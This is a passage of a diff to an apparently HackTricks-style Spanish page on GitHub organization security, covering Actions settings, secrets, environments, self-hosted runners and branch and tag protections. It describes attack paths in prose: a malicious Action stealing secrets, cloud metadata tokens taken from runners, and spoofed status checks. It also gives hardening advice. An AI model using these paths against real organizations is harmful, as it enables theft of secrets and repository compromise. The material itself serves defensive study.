de código cuando ocurre un evento**. Usualmente el código ejecutado está **de alguna forma relacionado con el código del repository** (por ejemplo, construir un contenedor docker o comprobar que el PR no contiene secretos). ### Configuración -En _https://github.com/organizations/\/settings/actions_ es posible verificar la **configuración de las acciones de github** para la organización. +En _https://github.com/organizations/\/settings/actions_ es posible revisar la **configuración de las github actions** para la organization. -Es posible deshabilitar el uso de acciones de github por completo, **permitir todas las acciones de github**, o solo permitir ciertas acciones. +Es posible deshabilitar completamente el uso de github actions, **permitir todas las github actions**, o permitir solo ciertas actions. -También es posible configurar **quién necesita aprobación para ejecutar una Acción de Github** y los **permisos del GITHUB_TOKEN** de una Acción de Github cuando se ejecuta. +También es posible configurar **quién necesita aprobación para ejecutar una Github Action** y los **permisos del GITHUB_TOKEN** de una Github Action cuando se ejecuta. -### Secretos de Git +### Git Secrets -Las Acciones de Github generalmente necesitan algún tipo de secretos para interactuar con github o aplicaciones de terceros. Para **evitar ponerlos en texto claro** en el repositorio, github permite ponerlos como **Secretos**. +Las Github Action normalmente necesitan algún tipo de secrets para interactuar con github o aplicaciones de terceros. Para **evitar almacenarlos en texto claro** en el repo, github permite guardarlos como **Secrets**. -Estos secretos pueden configurarse **para el repositorio o para toda la organización**. Luego, para que la **Acción pueda acceder al secreto**, necesitas declararlo así: +Estos secrets pueden configurarse **para el repo o para toda la organization**. Luego, para que la **Action pueda acceder al secret** necesitas declararlo así: ```yaml steps: - name: Hello world action @@ -168,82 +168,102 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Los secretos **solo pueden ser accedidos desde las Github Actions** que los tienen declarados. +> Secrets **solo pueden ser accedidos desde los Github Actions** que los hayan declarado. +> +> Una vez configurados en el repo o en la organización, **los usuarios de github no podrán acceder a ellos de nuevo**, solo podrán **cambiarlos**. -> Una vez configurados en el repositorio o en las organizaciones, **los usuarios de github no podrán acceder a ellos nuevamente**, solo podrán **cambiarlos**. - -Por lo tanto, **la única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action). +Por lo tanto, la **única forma de robar github secrets es poder acceder a la máquina que está ejecutando el Github Action** (en ese escenario solo podrás acceder a los secrets declarados para la Action). ### Entornos de Git -Github permite crear **entornos** donde puedes guardar **secretos**. Luego, puedes dar acceso a la acción de github a los secretos dentro del entorno con algo como: +Github permite crear **entornos** donde puedes guardar **secrets**. Luego, puedes dar al Github Action acceso a los **secrets** dentro del entorno con algo como: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -Puedes configurar un entorno para ser **accedido** por **todas las ramas** (por defecto), **solo ramas protegidas** o **especificar** qué ramas pueden acceder a él.\ -También se puede establecer un **número de revisiones requeridas** antes de **ejecutar** una **acción** utilizando un **entorno** o **esperar** un **tiempo** antes de permitir que las implementaciones continúen. +Puedes configurar un environment para que sea **accedido** por **todas las ramas** (por defecto), **solo ramas protegidas** o **especificar** qué ramas pueden acceder a él.\ +Además, las protecciones del environment incluyen: +- **Required reviewers**: detienen jobs dirigidos al environment hasta que sean aprobados. Habilita **Prevent self-review** para aplicar un verdadero principio de four‑eyes en la aprobación. +- **Deployment branches and tags**: restringe qué branches/tags pueden desplegar al environment. Prefiere seleccionar ramas/tags específicos y asegúrate de que esas ramas estén protegidas. Nota: la opción "Protected branches only" se aplica a las protecciones clásicas de rama y puede no comportarse como se espera si se usan rulesets. +- **Wait timer**: retrasa los deployments durante un periodo configurable. +También se puede establecer un **número de revisiones requeridas** antes de **ejecutar** una **acción** que use un **environment**, o **esperar** algún **tiempo** antes de permitir que los deployments continúen. ### Git Action Runner -Una acción de Github puede ser **ejecutada dentro del entorno de github** o puede ser ejecutada en una **infraestructura de terceros** configurada por el usuario. +Una Github Action puede **ejecutarse dentro del github environment** o puede ejecutarse en una **infraestructura de terceros** configurada por el usuario. -Varias organizaciones permitirán ejecutar acciones de Github en una **infraestructura de terceros** ya que suele ser **más barato**. +Varias organizaciones permiten ejecutar Github Actions en una **infraestructura de terceros** ya que suele ser **más barato**. -Puedes **listar los runners autoalojados** de una organización en _https://github.com/organizations/\/settings/actions/runners_ +Puedes **listar los self-hosted runners** de una organización en _https://github.com/organizations/\/settings/actions/runners_ -La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no github** es buscar `runs-on: self-hosted` en la configuración yaml de la acción de Github. +La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no-github** es buscar `runs-on: self-hosted` en el yaml de configuración de la Github Action. -**No es posible ejecutar una acción de Github de una organización dentro de una caja autoalojada** de una organización diferente porque **se genera un token único para el Runner** al configurarlo para saber a qué runner pertenece. +No es **posible ejecutar una Github Action de una organización dentro de una máquina self-hosted** de otra organización porque **se genera un token único para el Runner** al configurarlo para saber a qué organización pertenece. -Si el **Github Runner personalizado está configurado en una máquina dentro de AWS o GCP**, por ejemplo, la acción **podría tener acceso al endpoint de metadatos** y **robar el token de la cuenta de servicio** con la que se está ejecutando la máquina. +Si el **Github Runner personalizado está configurado en una máquina dentro de AWS o GCP** por ejemplo, la Action **podría tener acceso al metadata endpoint** y **robar el token de la service account** con la que se ejecuta la máquina. -### Compromiso de Git Action +### Git Action Compromise -Si se permiten todas las acciones (o una acción maliciosa), un usuario podría usar una **acción de Github** que es **maliciosa** y **comprometer** el **contenedor** donde se está ejecutando. +Si se permiten todas las actions (o una action maliciosa), un usuario podría usar una **Github action** que sea **maliciosa** y **comprometería** el **container** donde se está ejecutando. > [!CAUTION] -> Una **acción maliciosa de Github** ejecutada podría ser **abusada** por el atacante para: +> Una ejecución de una **malicious Github Action** podría ser **abusada** por el atacante para: > -> - **Robar todos los secretos** a los que la acción tiene acceso -> - **Moverse lateralmente** si la acción se ejecuta dentro de una **infraestructura de terceros** donde se puede acceder al token de SA utilizado para ejecutar la máquina (probablemente a través del servicio de metadatos) -> - **Abusar del token** utilizado por el **workflow** para **robar el código del repo** donde se ejecuta la acción o **incluso modificarlo**. +> - **Robar todos los secrets** a los que la Action tiene acceso +> - **Moverse lateralmente** si la Action se ejecuta dentro de una **infraestructura de terceros** donde se puede acceder al SA token usado para ejecutar la máquina (probablemente vía el metadata service) +> - **Abusar del token** usado por el **workflow** para **robar el código del repo** donde se ejecuta la Action o **incluso modificarlo**. -## Protecciones de Ramas +## Branch Protections -Las protecciones de ramas están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **implementar varios métodos de protección antes de poder escribir código dentro de alguna rama**. +Las branch protections están diseñadas para **no dar control total de un repositorio** a los usuarios. El objetivo es **poner varios métodos de protección antes de que sea posible escribir código en una rama**. -Las **protecciones de ramas de un repositorio** se pueden encontrar en _https://github.com/\/\/settings/branches_ +Las **branch protections de un repositorio** se pueden encontrar en _https://github.com/\/\/settings/branches_ > [!NOTE] -> **No es posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben ser declaradas en cada repo. +> No es **posible establecer una branch protection a nivel de organización**. Así que todas deben declararse en cada repo. -Se pueden aplicar diferentes protecciones a una rama (como a master): +Se pueden aplicar diferentes protecciones a una rama (por ejemplo a master): -- Puedes **requerir un PR antes de fusionar** (por lo que no puedes fusionar código directamente sobre la rama). Si esto se selecciona, se pueden implementar otras protecciones: -- **Requerir un número de aprobaciones**. Es muy común requerir que 1 o 2 personas más aprueben tu PR para que un solo usuario no pueda fusionar código directamente. -- **Desestimar aprobaciones cuando se envían nuevos commits**. De lo contrario, un usuario puede aprobar código legítimo y luego el usuario podría agregar código malicioso y fusionarlo. -- **Requerir revisiones de los Propietarios de Código**. Al menos 1 propietario de código del repo necesita aprobar el PR (por lo que los usuarios "aleatorios" no pueden aprobarlo). -- **Restringir quién puede desestimar revisiones de solicitudes de extracción.** Puedes especificar personas o equipos autorizados para desestimar revisiones de solicitudes de extracción. -- **Permitir que actores especificados eviten los requisitos de solicitudes de extracción**. Estos usuarios podrán eludir restricciones anteriores. -- **Requerir que las verificaciones de estado pasen antes de fusionar.** Algunas verificaciones deben pasar antes de poder fusionar el commit (como una acción de github que verifica que no haya ningún secreto en texto claro). -- **Requerir resolución de conversaciones antes de fusionar**. Todos los comentarios sobre el código deben ser resueltos antes de que el PR pueda ser fusionado. -- **Requerir commits firmados**. Los commits deben estar firmados. -- **Requerir un historial lineal.** Evitar que se envíen commits de fusión a ramas coincidentes. -- **Incluir administradores**. Si esto no está configurado, los administradores pueden eludir las restricciones. -- **Restringir quién puede enviar a ramas coincidentes**. Restringir quién puede enviar un PR. +- Puedes **requerir un PR antes de mergear** (así no puedes mergear código directamente en la rama). Si esto está seleccionado, otras protecciones pueden estar en vigencia: +- **Require a number of approvals**. Es muy común requerir 1 o 2 personas adicionales para aprobar tu PR para que un solo usuario no pueda mergear código directamente. +- **Dismiss approvals when new commits are pushed**. Si no, un usuario puede aprobar código legítimo y luego agregar código malicioso y mergearlo. +- **Require approval of the most recent reviewable push**. Garantiza que cualquier nuevo commit después de una aprobación (incluyendo pushes de otros colaboradores) re-dispare la revisión, de modo que un atacante no pueda empujar cambios después de la aprobación y mergearlos. +- **Require reviews from Code Owners**. Al menos 1 code owner del repo necesita aprobar el PR (por lo que usuarios "aleatorios" no pueden aprobarlo) +- **Restrict who can dismiss pull request reviews.** Puedes especificar personas o teams permitidos para dismiss pull request reviews. +- **Allow specified actors to bypass pull request requirements**. Estos usuarios podrán saltarse las restricciones anteriores. +- **Require status checks to pass before merging.** Algunas checks deben pasar antes de poder mergear el commit (como una GitHub App que reporte resultados SAST). Consejo: asigna las checks requeridas a una GitHub App específica; de lo contrario cualquier app podría falsificar la check vía la Checks API, y muchos bots aceptan directivas de salto (por ejemplo, "@bot-name skip"). +- **Require conversation resolution before merging**. Todos los comentarios en el código deben resolverse antes de que el PR pueda ser mergeado. +- **Require signed commits**. Los commits deben estar firmados. +- **Require linear history.** Evita que commits de merge sean empujados a las ramas que coinciden. +- **Include administrators**. Si esto no está activado, los admins pueden eludir las restricciones. +- **Restrict who can push to matching branches**. Restringe quién puede enviar un PR. > [!NOTE] -> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que puedas enviar código a master** por ejemplo para comprometer el pipeline de CI/CD. +> Como puedes ver, incluso si logras obtener credenciales de un usuario, **los repos podrían estar protegidos evitando que empujes código a master**, por ejemplo para comprometer la pipeline CI/CD. -## Referencias +## Tag Protections + +Los tags (como latest, stable) son mutables por defecto. Para imponer un flujo de four‑eyes en las actualizaciones de tags, protege los tags y encadena protecciones a través de environments y ramas: + +1) En la regla de protección de tag, habilita **Require deployments to succeed** y exige un deployment exitoso a un environment protegido (por ejemplo, prod). +2) En el environment de destino, restringe **Deployment branches and tags** a la rama de release (por ejemplo, main) y opcionalmente configura **Required reviewers** con **Prevent self-review**. +3) En la rama de release, configura las branch protections para **Require a pull request**, establece approvals ≥ 1, y habilita tanto **Dismiss approvals when new commits are pushed** como **Require approval of the most recent reviewable push**. + +Esta cadena impide que un solo colaborador retaguee o publique forzosamente releases editando el workflow YAML, ya que las puertas de deployment se aplican fuera de los workflows. + +## References - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github) - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards) - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) +- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) +- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/) +- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs) +- [https://docs.github.com/en/apps](https://docs.github.com/en/apps) +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) {{#include ../../banners/hacktricks-training.md}}